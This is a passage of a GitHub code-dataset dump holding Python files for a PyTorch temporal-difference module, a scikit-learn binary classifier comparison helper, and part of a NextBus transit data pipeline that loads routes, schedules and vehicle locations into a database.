td_1.square() + td_2.square()\n td = td.permute(0, 2, 1) # (bs, seq, hidden)\n return td\n\n\nclass TemporalDifference(nn.Module):\n def __init__(self, config, in_dim=None, model_type='lstm', layer_num=1):\n super().__init__()\n self.split_dim = config.model.fuse_dim\n if in_dim == None:\n in_dim = self.split_dim\n self.model_type = model_type\n if model_type == 'lstm':\n self.feature_transform_b = nn.LSTM(in_dim, self.split_dim, layer_num,\n batch_first=True, bidirectional=True)\n self.feature_transform_c = nn.LSTM(in_dim, self.split_dim, layer_num,\n batch_first=True, bidirectional=True)\n self.feature_proj_b = nn.Sequential(\n nn.Linear(2 * self.split_dim, self.split_dim),\n nn.ReLU(inplace=True),\n nn.Dropout(config.model.drop_rate, inplace=False)\n )\n self.feature_proj_c = nn.Sequential(\n nn.Linear(2 * self.split_dim, self.split_dim),\n nn.ReLU(inplace=True),\n nn.Dropout(config.model.drop_rate, inplace=False)\n )\n elif model_type == 'cnn':\n self.feature_transform_b = torch.nn.Sequential(\n nn.Conv1d(self.split_dim, self.split_dim, kernel_size=3, stride=1, padding=1),\n nn.BatchNorm1d(self.split_dim),\n nn.ReLU()\n )\n self.feature_transform_c = torch.nn.Sequential(\n nn.Conv1d(self.split_dim, self.split_dim, kernel_size=3, stride=1, padding=1),\n nn.BatchNorm1d(self.split_dim),\n nn.ReLU()\n )\n self.feature_proj_b = nn.Sequential(\n nn.Linear(self.split_dim, self.split_dim),\n nn.ReLU(inplace=True),\n nn.Dropout(config.model.drop_rate, inplace=False)\n )\n self.feature_proj_c = nn.Sequential(\n nn.Linear(self.split_dim, self.split_dim),\n nn.ReLU(inplace=True),\n nn.Dropout(config.model.drop_rate, inplace=False)\n )\n else:\n raise NotImplementedError(\"sequence model in TD not implemented!\")\n\n def forward(self, visual_input):\n # (B, T, D)\n if self.model_type == 'lstm':\n hidden_b, _ = self.feature_transform_b(visual_input)\n hidden_c, _ = self.feature_transform_c(visual_input)\n elif self.model_type == 'cnn':\n hidden_b = self.feature_transform_b(visual_input.permute(0, 2, 1)).permute(0, 2, 1)\n hidden_c = self.feature_transform_c(visual_input.permute(0, 2, 1)).permute(0, 2, 1)\n hidden_b = self.feature_proj_b(hidden_b)\n hidden_c = self.feature_proj_c(hidden_c)\n td = temporaldifference(hidden_b) # (bs, seq, hidden)\n td = td.sum(dim=-1)\n return {'feature': [hidden_b, hidden_c],\n 'td': td}\n\n\n","repo_name":"DJX1995/BAN-APR","sub_path":"code/feature_enhancement/boundary_content.py","file_name":"boundary_content.py","file_ext":"py","file_size_in_byte":3616,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"39"} +{"seq_id":"74172613233","text":"import numpy as np\r\nimport pandas as pd\r\nimport warnings\r\n\r\nwarnings.filterwarnings(\"ignore\")\r\n\r\n\r\ndef classification(data:pd, features:list, y_ouput:str, goal=\"F1-score\", wanna_normalize=True, number_of_repeats=1)->str:\r\n '''in this def we give the data in pandas dataframe, and\r\n we give the goal includes:\r\n F1-score: the highest f1-score.\r\n negFal: the lowest negative False percent.\r\n posFal: the lowest positive False percent.\r\n negtru: the highest negative True percent.\r\n postru: the highest positive True percent.\r\n jac : jaccard-score.\r\n NOTICE: this function is ony for binary classification.'''\r\n \r\n #imports\r\n from sklearn import preprocessing\r\n from sklearn.model_selection import train_test_split\r\n\r\n ##########\r\n \r\n #define dictionaris for algorithms to compare scores##########################\r\n F1_score = {\"KNN\":{}, \"DecisionTree\":{}, \"LogisticRegression\":{}, \"SVM\":{}}\r\n negFal = {\"KNN\":{}, \"DecisionTree\":{}, \"LogisticRegression\":{}, \"SVM\":{}}\r\n posFal = {\"KNN\":{}, \"DecisionTree\":{}, \"LogisticRegression\":{}, \"SVM\":{}}\r\n negtru = {\"KNN\":{}, \"DecisionTree\":{}, \"LogisticRegression\":{}, \"SVM\":{}}\r\n postru = {\"KNN\":{}, \"DecisionTree\":{}, \"LogisticRegression\":{}, \"SVM\":{}}\r\n jac = {\"KNN\":{}, \"DecisionTree\":{}, \"LogisticRegression\":{}, \"SVM\":{}}\r\n ##############################################################################\r\n\r\n #######Normalize check\r\n if wanna_normalize:\r\n X = preprocessing.StandardScaler().fit(data[features]).transform(data[features].astype(float))\r\n y=data[y_ouput]\r\n else:\r\n X = data[features]\r\n y = data[y_ouput]\r\n #######################\r\n \r\n #features of the algorithms\r\n features_of_algorithms = {'KNN':{'k':{}}, 'Tree':{\"max_depth\":{}},\r\n 'Logistic': {'C':{}, 'solver':{}}, 'SVM': {'kernel':{}}}\r\n\r\n \r\n for i in range(1, number_of_repeats+1):\r\n \r\n #split data\r\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=i)\r\n ###########\r\n\r\n #calculate KNN\r\n KNN(X_train, y_train, X_test, y_test, F1_score, negFal, posFal, negtru, postru, jac, features_of_algorithms, goal=goal, state=i)\r\n ##############\r\n\r\n #calculate Tree\r\n Tree(X_train, y_train, X_test, y_test, F1_score, negFal, posFal, negtru, postru, jac, features_of_algorithms, goal=goal, state=i)\r\n ##############\r\n\r\n #calculate logisticRegression\r\n Logistic(X_train, y_train, X_test, y_test, F1_score, negFal, posFal, negtru, postru, jac, features_of_algorithms, goal=goal, state=i)\r\n #############################\r\n\r\n #calculate SVM\r\n SVM(X_train, y_train, X_test, y_test, F1_score, negFal, posFal, negtru, postru, jac, features_of_algorithms, goal=goal, state=i)\r\n ##############\r\n \r\n ######calculate the best score of the all goal scores\r\n best_alg, best_state, best_score, features_output_list = pick_best_classification_algorithm(F1_score, jac, negFal, negtru, posFal,\r\n postru,state = number_of_repeats, goal = goal,\r\n features_of_algorithms = features_of_algorithms)\r\n print(\"the best %s score for %i states is: %f, for state %i, with algorithm %s with \"\r\n %(goal, number_of_repeats, best_score, best_state, best_alg), end='')\r\n for i in range(len(features_output_list)):\r\n print(features_output_list[i], end='')\r\n if(i%2 == 0):\r\n print(\": \", end='')\r\n print('.')\r\n print('------------')\r\n ####################################\r\n \r\n ####calculate the best algorithm base on the average of the goal score\r\n if(goal == 'F1-score'):\r\n dic_score = F1_score\r\n elif(goal == 'jac'):\r\n dic_score = jac\r\n elif(goal == 'negFal'):\r\n dic_score = negFal\r\n elif(goal == 'negtru'):\r\n dic_score = negtru\r\n elif(goal == 'posFal'):\r\n dic_score = posFal\r\n elif(goal == 'postru'):\r\n dic_score = postru\r\n \r\n avg_best_score, avg_best_alg = best_alg_base_average_scores(dic_score, goal, number_of_repeats)\r\n print(\"the best average of %s scores for %i states is: %f with algorithm %s.\" %(goal, number_of_repeats, avg_best_score, avg_best_alg))\r\n #######################################################################\r\n\r\n\r\ndef best_alg_base_average_scores(dic_score, goal, state):\r\n from sys import maxsize\r\n avg_best_score_max=0.0\r\n avg_best_score_min = maxsize\r\n avg_best_alg=None\r\n for(i, v) in dic_score.items():\r\n average = 0\r\n for(j, w) in v.items():\r\n average += w\r\n average /= state\r\n if(goal=='F1-score' or goal=='jac' or goal=='negtru' or goal=='postru'):\r\n if(average >= avg_best_score_max):\r\n avg_best_score_max = average\r\n avg_best_alg = i\r\n elif(goal=='negFal' or goal=='posFal'):\r\n if(average <= avg_best_score_min):\r\n avg_best_score_min = average\r\n avg_best_alg = i\r\n \r\n if(avg_best_score_max==0.0):\r\n avg_best_score= avg_best_score_min\r\n else:\r\n avg_best_score = avg_best_score_max\r\n \r\n return(avg_best_score, avg_best_alg)\r\n\r\n\r\ndef pick_best_classification_algorithm(F1_score, jac, negFal, negtru, posFal, postru, state, goal, features_of_algorithms):\r\n \r\n if(goal=='F1-score'):\r\n alg, state, score = max_pick(F1_score)\r\n if(goal=='jac'):\r\n alg, state, score = max_pick(jac)\r\n if(goal=='negtru'):\r\n alg, state, score = max_pick(negtru)\r\n if(goal=='postru'):\r\n alg, state, score = max_pick(postru)\r\n if(goal=='negFal'):\r\n alg, state, score = min_pick(negFal)\r\n if(goal=='posFal'):\r\n alg, state, score = min_pick(posFal)\r\n output_list=[]\r\n \r\n output_list=[]\r\n for(i, v) in features_of_algorithms.items():\r\n for(j, w) in v.items():\r\n for(k, x) in w.items():\r\n if(i==alg) and (k==state):\r\n output_list.append(j)\r\n output_list.append(x)\r\n \r\n return(alg, state, score, output_list)\r\n \r\n\r\ndef max_pick(dic_score):\r\n max_state=0\r\n max_score=0\r\n max_alg =None\r\n for(i, v) in dic_score.items():\r\n for(j, w) in v.items():\r\n if(w>=max_score):\r\n max_score=w\r\n max_state=j\r\n max_alg =i\r\n return(max_alg, max_state, max_score)\r\n\r\n\r\ndef min_pick(dic_score):\r\n from sys import maxsize\r\n min_state=0\r\n min_score=maxsize\r\n min_alg =None\r\n for(i, v) in dic_score.items():\r\n for(j, w) in v.items():\r\n if(w<=min_score):\r\n min_score=w\r\n min_state=j\r\n min_alg =i\r\n return(min_alg, min_state, min_score)\r\n\r\n\r\ndef SVM(X_train, y_train, X_test, y_test, F1_score, negFal, posFal, negtru, postru, jac, features_of_algorithms, goal, state):\r\n from sklearn import svm\r\n \r\n kernels={'linear', 'poly', 'rbf', 'sigmoid'}\r\n kernels_scores = {'linear': None, 'poly': None, 'rbf': None, 'sigmoid': None}\r\n for kernel in kernels:\r\n clf = svm.SVC(kernel=kernel)\r\n clf.fit(X_train, y_train)\r\n yhat = clf.predict(X_test)\r\n kernels_scores[kernel] = goal_cal_score(y_test, yhat, goal)\r\n \r\n best_kernel = max(kernels_scores, key=kernels_scores.get)\r\n clf = svm.SVC(kernel=best_kernel)\r\n clf.fit(X_train, y_train)\r\n yhat = clf.predict(X_test)\r\n \r\n features_of_algorithms['SVM']['kernel'][state] = best_kernel\r\n \r\n F1_score[\"SVM\"][state], jac[\"SVM\"][state], negFal[\"SVM\"][state], negtru[\"SVM\"][state], posFal[\"SVM\"][state], postru[\"SVM\"][state] = cal_scores(y_test, yhat)\r\n \r\n \r\ndef Logistic(X_train, y_train, X_test, y_test, F1_score, negFal, posFal, negtru, postru, jac, features_of_algorithms, goal, state):\r\n from sklearn.linear_model import LogisticRegression\r\n \r\n algs = {'newton-cg', 'lbfgs', 'liblinear', 'sag', 'saga'}\r\n scores = {'newton-cg':{}, 'lbfgs':{}, 'liblinear':{}, 'sag':{}, 'saga':{}}\r\n for alg in algs:\r\n for i in np.arange(0.1, 3, 0.1):\r\n LR = LogisticRegression(C=i, solver=alg)\r\n LR.fit(X_train, y_train)\r\n yhat = LR.predict(X_test)\r\n scores[alg][i] = goal_cal_score(y_test, yhat, goal)\r\n \r\n ################\r\n max_score = 0\r\n best_alg=None\r\n best_C = 0\r\n for (i, v) in scores.items():\r\n for(j, w) in v.items():\r\n score = w\r\n if(score >= max_score):\r\n max_score = score\r\n best_alg = i\r\n best_C = j\r\n ##################\r\n \r\n LR = LogisticRegression(C=best_C, solver=best_alg)\r\n LR.fit(X_train, y_train)\r\n yhat = LR.predict(X_test)\r\n \r\n features_of_algorithms['Logistic']['C'][state] = best_C\r\n features_of_algorithms['Logistic']['solver'][state] = best_alg\r\n \r\n F1_score[\"LogisticRegression\"][state], jac[\"LogisticRegression\"][state], negFal[\"LogisticRegression\"][state], negtru[\"LogisticRegression\"][state], posFal[\"LogisticRegression\"][state], postru[\"LogisticRegression\"][state] = cal_scores(y_test, yhat)\r\n \r\n \r\ndef KNN(X_train, y_train, X_test, y_test, F1_score, negFal, posFal, negtru, postru, jac, features_of_algorithms, goal, state):\r\n \r\n from sklearn.neighbors import KNeighborsClassifier\r\n\r\n scores = {}\r\n for k in range(2, 20):\r\n neigh = KNeighborsClassifier(n_neighbors=k)\r\n neigh = neigh.fit(X_train, y_train)\r\n yhat=neigh.predict(X_test)\r\n #scores[k] = metrics.accuracy_score(y_test, yhat)\r\n scores[k] = goal_cal_score(y_test, yhat, goal)\r\n \r\n max_k = max(scores, key=scores.get)\r\n neigh = KNeighborsClassifier(n_neighbors=max_k)\r\n neigh = neigh.fit(X_train, y_train)\r\n yhat=neigh.predict(X_test)\r\n \r\n features_of_algorithms['KNN']['k'][state] = max_k\r\n \r\n F1_score[\"KNN\"][state], jac[\"KNN\"][state], negFal[\"KNN\"][state], negtru[\"KNN\"][state], posFal[\"KNN\"][state], postru[\"KNN\"][state] = cal_scores(y_test, yhat)\r\n \r\n\r\ndef Tree(X_train, y_train, X_test, y_test, F1_score, negFal, posFal, negtru, postru, jac, features_of_algorithms, goal, state):\r\n \r\n from sklearn.tree import DecisionTreeClassifier\r\n\r\n scores = {}\r\n for max_d in range(2, len(X_train)+1):\r\n outputTree = DecisionTreeClassifier(criterion='entropy', max_depth=max_d)\r\n outputTree = outputTree.fit(X_train, y_train)\r\n yhat=outputTree.predict(X_test)\r\n scores[max_d] = goal_cal_score(y_test, yhat, goal)\r\n \r\n max_d_best_score = max(scores, key=scores.get)\r\n outputTree = DecisionTreeClassifier(criterion='entropy', max_depth=max_d_best_score)\r\n outputTree = outputTree.fit(X_train, y_train)\r\n yhat=outputTree.predict(X_test)\r\n \r\n features_of_algorithms['Tree']['max_depth'][state] = max_d_best_score\r\n \r\n F1_score[\"DecisionTree\"][state], jac[\"DecisionTree\"][state], negFal[\"DecisionTree\"][state], negtru[\"DecisionTree\"][state], posFal[\"DecisionTree\"][state], postru[\"DecisionTree\"][state] = cal_scores(y_test, yhat)\r\n\r\n\r\ndef cal_scores(y_test, yhat):\r\n \r\n from sklearn import metrics\r\n\r\n #F1-score\r\n F1_score = metrics.f1_score(y_test, yhat, average='weighted')\r\n #########\r\n \r\n #jaccard-score\r\n jac = metrics.jaccard_score(y_test, yhat, pos_label=0)\r\n #########\r\n \r\n #negative-False\r\n negFal = metrics.confusion_matrix(y_test, yhat, labels=[1,0])[1][0]\r\n ###############\r\n \r\n #negative-True\r\n negtru = metrics.confusion_matrix(y_test, yhat, labels=[1, 0])[1][1]\r\n ##############\r\n \r\n #positive-False\r\n posFal = metrics.confusion_matrix(y_test, yhat, labels=[1, 0])[0][1]\r\n ##############\r\n \r\n #positive_True\r\n postru = metrics.confusion_matrix(y_test, yhat, labels=[1, 0])[0][0]\r\n ##############\r\n \r\n return(F1_score, jac, negFal, negtru, posFal, postru)\r\n\r\n\r\ndef goal_cal_score(y_test, yhat, goal):\r\n \r\n from sklearn import metrics\r\n\r\n #F1-score\r\n F1_score = metrics.f1_score(y_test, yhat, average='weighted')\r\n #########\r\n \r\n #jaccard-score\r\n jac = metrics.jaccard_score(y_test, yhat, pos_label=0)\r\n #########\r\n \r\n #negative-False\r\n negFal = metrics.confusion_matrix(y_test, yhat, labels=[1,0])[1][0]\r\n if(negFal>0):\r\n negFal = 1/negFal\r\n elif(negFal==0):\r\n negFal = 1\r\n ###############\r\n \r\n #negative-True\r\n negtru = metrics.confusion_matrix(y_test, yhat, labels=[1, 0])[1][1]\r\n ##############\r\n \r\n #positive-False\r\n posFal =metrics.confusion_matrix(y_test, yhat, labels=[1, 0])[0][1]\r\n if(posFal > 0):\r\n posFal = 1/posFal\r\n elif(posFal == 0):\r\n posFal = 1\r\n ##############\r\n \r\n #positive_True\r\n postru = metrics.confusion_matrix(y_test, yhat, labels=[1, 0])[0][0]\r\n ##############\r\n \r\n if(goal == 'F1-score'):\r\n return F1_score\r\n elif(goal == 'jac'):\r\n return jac\r\n elif(goal == 'negFal'):\r\n return negFal\r\n elif(goal == 'negtru'):\r\n return negtru\r\n elif(goal == 'posFal'):\r\n return posFal\r\n elif(goal == 'postru'):\r\n return postru\r\n ","repo_name":"amirhrajabiz1/classification_detector","sub_path":"classitector.py","file_name":"classitector.py","file_ext":"py","file_size_in_byte":13362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"14569143060","text":"\"\"\"\nData Pipeline classes. \n\"\"\"\nimport contextlib\nimport datetime\nimport db_connection \nimport pandas as pd\nfrom database import DatabaseWrapper\nfrom nextbus_api import NextBusAPIClient \nfrom sklearn.neighbors import KNeighborsRegressor\nfrom utils.configs import get_transit_config\nfrom utils.distances import calculate_distance_from_lat_lon_coords\nfrom utils.queries import get_queries_path\n\n\nclass Pipeline:\n\n def __init__(self, verbose=False): \n self.verbose = verbose\n self.session = db_connection.create_session() \n self.db = DatabaseWrapper(session=self.session) \n self.data_loader = DataLoader(\n db=self.db, \n session=self.session, \n verbose=self.verbose) \n self.data_preparation = DataPreparation(\n db=self.db, \n session=self.session) \n\n\nclass DataLoader:\n\n def __init__(self, db, session, verbose=False):\n self.db = db \n self.session = session \n self.verbose = verbose \n self.nextbus_client = NextBusAPIClient(verbose=self.verbose)\n self.parser = ResponseParser()\n\n def set_verbose(self, verbose):\n self.verbose = verbose\n self.nextbus_client.set_verbose(verbose)\n\n def populate_transit_config_tables_from_API(self):\n \"\"\"Download all routes, directions and stops data and insert them\n into the database. \n \"\"\"\n # First, collect list of routes for agency. \n agency_tag = self.db.get_agency_tag() \n\n with self.nextbus_client as client:\n route_list_response = client.get_response_dict_from_web(\n endpoint_name=\"routeList\", \n agency_tag=agency_tag\n )\n\n routes_df_dict = self.parser.parse_route_list_response_into_df_dict(\n response_dict=route_list_response,\n agency_tag=agency_tag\n )\n \n # Insert the list of route tags in the routes table.\n # This response dataframe only contains partial columns, and\n # the other columns will be updated as we collect them from\n # the routeConfig endpoint.\n self.db.insert_dataframe_in_table(\"routes\", routes_df_dict[\"routes\"])\n\n # Next we collect the route config info.\n # We'll update the remaining 'routes' table \n # columns, and populate the entire 'directions' & 'stops' tables. \n route_list = routes_df_dict[\"routes\"].tag.unique() \n with self.nextbus_client as client:\n for route_tag in route_list: \n\n route_config_response = client.get_response_dict_from_web(\n endpoint_name=\"routeConfig\",\n agency_tag=agency_tag,\n route_tag=route_tag\n ) \n\n conf = self.parser.parse_route_config_response_into_df_dict(\n response_dict=route_config_response,\n route_tag=route_tag,\n agency_tag=agency_tag\n )\n\n self.db.update_dataframe_in_table(\"routes\", conf[\"routes\"])\n self.db.insert_dataframe_in_table(\"directions\", conf[\"directions\"])\n self.db.insert_dataframe_in_table(\"stops\", conf[\"stops\"]) \n\n def populate_schedules_table_from_API(self):\n \"\"\"Download all schedules tables and insert them into database.\"\"\"\n # Get API args. \n agency_tag = self.db.get_agency_tag() \n route_list = self.db.get_route_list(agency_tag) \n\n with self.nextbus_client as client:\n for route_tag in route_list: \n\n time_of_extraction = datetime.datetime.now()\n schedules_response = client.get_response_dict_from_web(\n endpoint_name=\"schedule\",\n route_tag=route_tag,\n agency_tag=agency_tag\n )\n\n df_dict = self.parser.parse_schedule_response_into_df_dict(\n response_dict=schedules_response,\n route_tag=route_tag,\n agency_tag=agency_tag,\n time_of_extraction=time_of_extraction\n )\n\n self.db.insert_dataframe_in_table(\n \"schedules\", df_dict[\"schedules\"])\n\n def fetch_active_vehicles_snapshop_from_API(self):\n \"\"\"Fetch the id of all currently active vehicles and insert in db.\"\"\"\n\n agency_tag = self.db.get_agency_tag() \n route_list = self.db.get_route_list(agency_tag) \n\n df_list = []\n with self.nextbus_client as client:\n for route_tag in route_list:\n df_vehicles_on_route = self._fetch_vehicle_location_on_route_df(\n route_tag, agency_tag, client)\n\n df_list.append(df_vehicles_on_route)\n df_active_vehicles = pd.concat(df_list) \n\n df_active_vehicles[\"agency_tag\"] = agency_tag\n df_active_vehicles = df_active_vehicles[[\"id\", \"read_time\", \"agency_tag\"]] \n df_active_vehicles.rename(columns={\"read_time\": \"last_seen_active\"},\n inplace=True)\n\n self.db.insert_dataframe_in_table(\"vehicles\", df_active_vehicles) \n\n def _fetch_vehicle_location_on_route_df(self, route_tag, agency_tag, client):\n \"\"\"Fetch vehicle data for all vehicles currently active on route.\"\"\"\n \n time_of_extraction = datetime.datetime.now() \n response_dict = client.get_response_dict_from_web(\n endpoint_name=\"vehicleLocations\",\n agency_tag=agency_tag,\n route_tag=route_tag,\n epoch_time_in_msec=0 \n )\n\n df_dict = self.parser.parse_vehicle_locations_response_into_df_dict(\n response_dict=response_dict,\n agency_tag=agency_tag,\n time_of_extraction=time_of_extraction\n )\n\n return df_dict[\"vehicle_locations\"]\n\n def fetch_vehicle_locations_from_API(self, active_over_num_days=7):\n \"\"\"Fetch current vehicle location for all recently active vehicle ids.\"\"\" \n\n agency_tag = self.db.get_agency_tag() \n vehicle_ids = self.db.get_active_vehicle_ids(\n agency_tag, active_over_num_days)\n\n df_list = [] \n with self.nextbus_client as client:\n for vehicle_id in vehicle_ids:\n df_vehicle = self._fetch_vehicle_location_df(\n agency_tag, vehicle_id, client) \n\n df_list.append(df_vehicle)\n df_vehicle_locations = pd.concat(df_list) \n\n self.db.insert_dataframe_in_table(\"vehicle_locations\", df_vehicle_locations)\n\n def _fetch_vehicle_location_df(self, agency_tag, vehicle_id, client):\n \"\"\"Fetch current location data for a specific vehicle.\"\"\" \n\n time_of_extraction = datetime.datetime.now()\n response_dict = client.get_response_dict_from_web(\n endpoint_name=\"vehicleLocation\",\n agency_tag=agency_tag,\n vehicle_id=vehicle_id \n )\n\n df_dict = self.parser.parse_vehicle_locations_response_into_df_dict(\n response_dict=response_dict,\n agency_tag=agency_tag,\n time_of_extraction=time_of_extraction\n )\n\n return df_dict[\"vehicle_locations\"]\n\n def fetch_validation_vehicle_locations_from_API(self):\n \"\"\"Fetch location data for vehicles from the vehicles_validation table,\n then insert into the vehicle_locations_validation table.\n \n This method is intended to collect very precise data on a select\n few vehicles to create and maintain validation datasets. \n \"\"\"\n agency_tag = self.db.get_agency_tag() \n vehicle_ids = self.db.get_validation_vehicle_ids(agency_tag) \n\n df_list = [] \n with self.nextbus_client as client:\n for vehicle_id in vehicle_ids:\n df_vehicle = self._fetch_vehicle_location_df(\n agency_tag, vehicle_id, client) \n df_list.append(df_vehicle)\n\n df_vehicle_locations = pd.concat(df_list) \n self.db.insert_dataframe_in_table(\n \"vehicle_locations_validation\", df_vehicle_locations)\n\n def delete_old_vehicle_locations_entries(self, keep_num_days=7):\n \"\"\"Delete all vehicle location entries outside of retention period.\"\"\"\n\n today = datetime.datetime.today().replace(\n hour=0, minute=0, second=0, microsecond=0)\n\n days_kept_before_today = keep_num_days - 1\n first_date_kept = (today - datetime.timedelta(days=days_kept_before_today)).strftime(\"%Y-%m-%d\")\n\n self.db.session.execute(f\"DELETE FROM vehicle_locations WHERE read_time < '{first_date_kept}'\")\n self.db.session.commit() \n\n\nclass DataPreparation:\n\n def __init__(self, db, session):\n self.db = db \n self.session = session\n\n def populate_connections_table(self):\n \"\"\"Cluster nearby stops within a fixed distance. This distance can be\n adjusted within the transit config file. \n\n Stop pairs are inserted in the database (in both directions) along with\n their latitude, longitude coordinates and the direction they're on. \n \"\"\"\n\n # First fetch the cluster max distance from a flat file. \n cluster_distance = None \n config = get_transit_config() \n cluster_distance = config[\"connections_cluster_max_distance_meters\"] \n\n # Then build and insert connections table. \n df_connections = self._build_connections_df_from_database(\n cluster_distance=cluster_distance) \n\n self.db.insert_dataframe_in_table(\"connections\", df_connections) \n\n def _build_connections_df_from_database(self, cluster_distance):\n \"\"\"Assemble the connections dataframe from the stops table.\n Helper function for population_connections_table. \n\n The dataframe has the following column format:\n - key (str),\n - stop1 (str), \n - lat1 (str), \n - lon1 (float), \n - stop2 (str), \n - lat2 (float),\n - lon2 (float), \n - distance_meters (float) \n\n Args:\n cluster_distance (float): Maximal meter distance between pairs.\n\n Returns:\n df: Dataframe to be inserted in 'connections' table.\n \"\"\"\n\n connections_types = {\n \"key\": \"str\",\n \"stop1\": \"str\",\n \"lat1\": \"float\", \n \"lon1\": \"float\",\n \"stop2\": \"str\", \n \"lat2\": \"float\",\n \"lon2\": \"float\", \n \"distance_meters\": \"float\" \n }\n agency_tag = self.db.get_agency_tag() \n stops_df = self.db.get_stop_coords_dataframe(agency_tag=agency_tag) \n\n # Algorithm: Neighborhood Search \n # 0. First, stops_df already comes sorted by lat, then lon values.\n # 1. Find a threshold value so that latitude differences above that \n # threshold are guaranteed to be > cluster_distance away. Do \n # the same for longitude. \n # 2. For stop in list: \n # - find all stops within [lat += lat_thresh, lon += lon_thresh]\n # - test whether within cluster distance\n # - add to list of pairs \n df_pairs_list = [] \n stops = stops_df.tag.unique() \n\n # 1. Find lat_threshold and lon_threshold to form neighborhoods. \n # - Start them at initial values of 0.0001 (testing shows this is ~10m);\n # - For each threshold value, go through list of points p and test whether\n # p +- threshold_value are both > cluster_distance;\n # - If not, increment value. \n # \n # This guarantees the following property at the end: \n # For any stop p, all other stops p' within cluster_distance \n # are within [p += lat_thresh, p+= lon_thresh]. \n lat_thresh = 0.0001 \n lon_thresh = 0.0001 \n increment = 0.0001 \n\n # TODO (Future): Do both steps in one pass. \n # Find proper lat_thresh value. \n for stop in stops: \n lat = stops_df.loc[stops_df.tag==stop, \"lat\"].values[0] \n lon = stops_df.loc[stops_df.tag==stop, \"lon\"].values[0] \n p = (lat,lon) \n\n p_plus = (p[0] + lat_thresh, p[1]) \n p_minus = (p[0] - lat_thresh, p[1]) \n dist_plus = calculate_distance_from_lat_lon_coords(p, p_plus) \n dist_minus = calculate_distance_from_lat_lon_coords(p, p_minus) \n\n dist = min(dist_plus, dist_minus) \n\n # Increment threshold value as needed. \n while dist <= cluster_distance: \n lat_thresh += increment \n\n p_plus = (p[0] + lat_thresh, p[1]) \n p_minus = (p[0] - lat_thresh, p[1]) \n dist_plus = calculate_distance_from_lat_lon_coords(p, p_plus) \n dist_minus = calculate_distance_from_lat_lon_coords(p, p_minus) \n\n dist = min(dist_plus, dist_minus) \n\n # Repeat for lon_thresh value. \n for stop in stops: \n lat = stops_df.loc[stops_df.tag==stop, \"lat\"].values[0] \n lon = stops_df.loc[stops_df.tag==stop, \"lon\"].values[0] \n p = (lat,lon) \n\n p_plus = (p[0], p[1] + lon_thresh) \n p_minus = (p[0], p[1] - lon_thresh) \n dist_plus = calculate_distance_from_lat_lon_coords(p, p_plus) \n dist_minus = calculate_distance_from_lat_lon_coords(p, p_minus) \n\n dist = min(dist_plus, dist_minus) \n\n # Increment threshold value as needed. \n while dist <= cluster_distance: \n lon_thresh += increment \n\n p_plus = (p[0] + lon_thresh, p[1]) \n p_minus = (p[0] - lon_thresh, p[1]) \n dist_plus = calculate_distance_from_lat_lon_coords(p, p_plus) \n dist_minus = calculate_distance_from_lat_lon_coords(p, p_minus) \n\n dist = min(dist_plus, dist_minus) \n\n\n # 2. For each stop in list, search its neighborhood for nearby stops.\n for stop1 in stops:\n\n lat1 = stops_df.loc[stops_df.tag==stop1, \"lat\"].values[0]\n lon1 = stops_df.loc[stops_df.tag==stop1, \"lon\"].values[0]\n p1 = (lat1, lon1) \n\n condition = (\n (stops_df.lat.between(lat1-lat_thresh, lat1+lat_thresh)) \n &(stops_df.lon.between(lon1-lon_thresh, lon1+lon_thresh))\n ) \n nhbd = stops_df[condition].tag.unique() \n\n # Remove stop1 from its own neighborhood. \n # We don't want it in the search area. \n nhbd = [x for x in nhbd if x != stop1] \n\n for stop2 in nhbd: \n\n lat2 = stops_df.loc[stops_df.tag==stop2, \"lat\"].values[0]\n lon2 = stops_df.loc[stops_df.tag==stop2, \"lon\"].values[0]\n p2 = (lat2, lon2) \n\n dist = calculate_distance_from_lat_lon_coords(p1, p2)\n if dist <= cluster_distance: \n\n data = {\n \"key\": \"_\".join([stop1, stop2]), \n \"stop1\": stop1,\n \"lat1\": lat1,\n \"lon1\": lon1,\n \"stop2\": stop2, \n \"lat2\": lat2,\n \"lon2\": lon2, \n \"distance_meters\": dist \n }\n df_pairs_list.append(pd.DataFrame(data, index=[0])) \n\n\n df_connections = pd.concat(df_pairs_list) \n df_connections.reset_index(drop=True, inplace=True) \n\n # Type validation and conversion \n df_connections = df_connections.astype(connections_types) \n\n return df_connections\n\n def populate_transit_graph_table(self):\n \"\"\"Assemble the transit graph table from the stops and connections table.\n \n We construct a directed graph with the following types of edges:\n - consecutive stops on a direction;\n - stops in a connection.\n \"\"\"\n\n # For each direction, build an edge dataframe and insert into db.\n agency_tag = self.db.get_agency_tag() \n direction_tags = self.db.get_direction_list(agency_tag=agency_tag) \n\n for tag in direction_tags: \n\n df_direction_edges = self._build_direction_edges_df_from_database(\n direction_tag=tag) \n\n self.db.insert_dataframe_in_table(\"transit_graph\", df_direction_edges) \n\n # Transfer the connections table, adding the is_connection attribute. \n self._add_connections_to_transit_graph_table() \n\n def _build_direction_edges_df_from_database(self, direction_tag):\n \"\"\"Construct part of the transit directed graph associated to a direction.\n For each consecutive stops s1, s2 on a direction, we add the edge s1 -> s2 \n to the dataframe. \n\n Note: Since stop tags may have special endings such as _IB, _OB, _ar, \n we store both the tag (for linking between tables) as well as its trimmed \n version since there is only one actual node. \n\n The dataframe created has column format: \n - key (str),\n - stop_tag1 (str),\n - stop_tag2 (str),\n - node1 (str), \n - node2 (str), \n - direction_tag (str) \n\n Args:\n direction_tag (str): Tag to fetch stops on a route direction.\n\n Returns:\n dataframe: Dataframe of consecutive stops on a direction. \n \"\"\"\n\n agency_tag = self.db.get_agency_tag()\n stops_df = self.db.get_stops_on_direction_dataframe(\n direction_tag=direction_tag,\n agency_tag=agency_tag\n )\n\n direction_edges_types = {\n \"key\": \"str\",\n \"stop_tag1\": \"str\",\n \"stop_tag2\": \"str\", \n \"node1\": \"str\",\n \"node2\": \"str\", \n \"direction_tag\": \"str\" \n }\n\n rows = [] \n num_stops = stops_df.shape[0] \n for n in range(1, num_stops): \n\n stop = stops_df.loc[stops_df.stop_along_direction==n,\"stop_tag\"].values[0]\n next_stop = stops_df.loc[stops_df.stop_along_direction==n+1,\"stop_tag\"].values[0]\n\n data = {} \n data[\"stop_tag1\"] = stop\n data[\"stop_tag2\"] = next_stop \n data[\"key\"] = \"_\".join([stop, next_stop, direction_tag])\n data[\"direction_tag\"] = direction_tag \n\n rows.append(data) \n\n df_direction_edges = pd.DataFrame(rows) \n df_direction_edges = 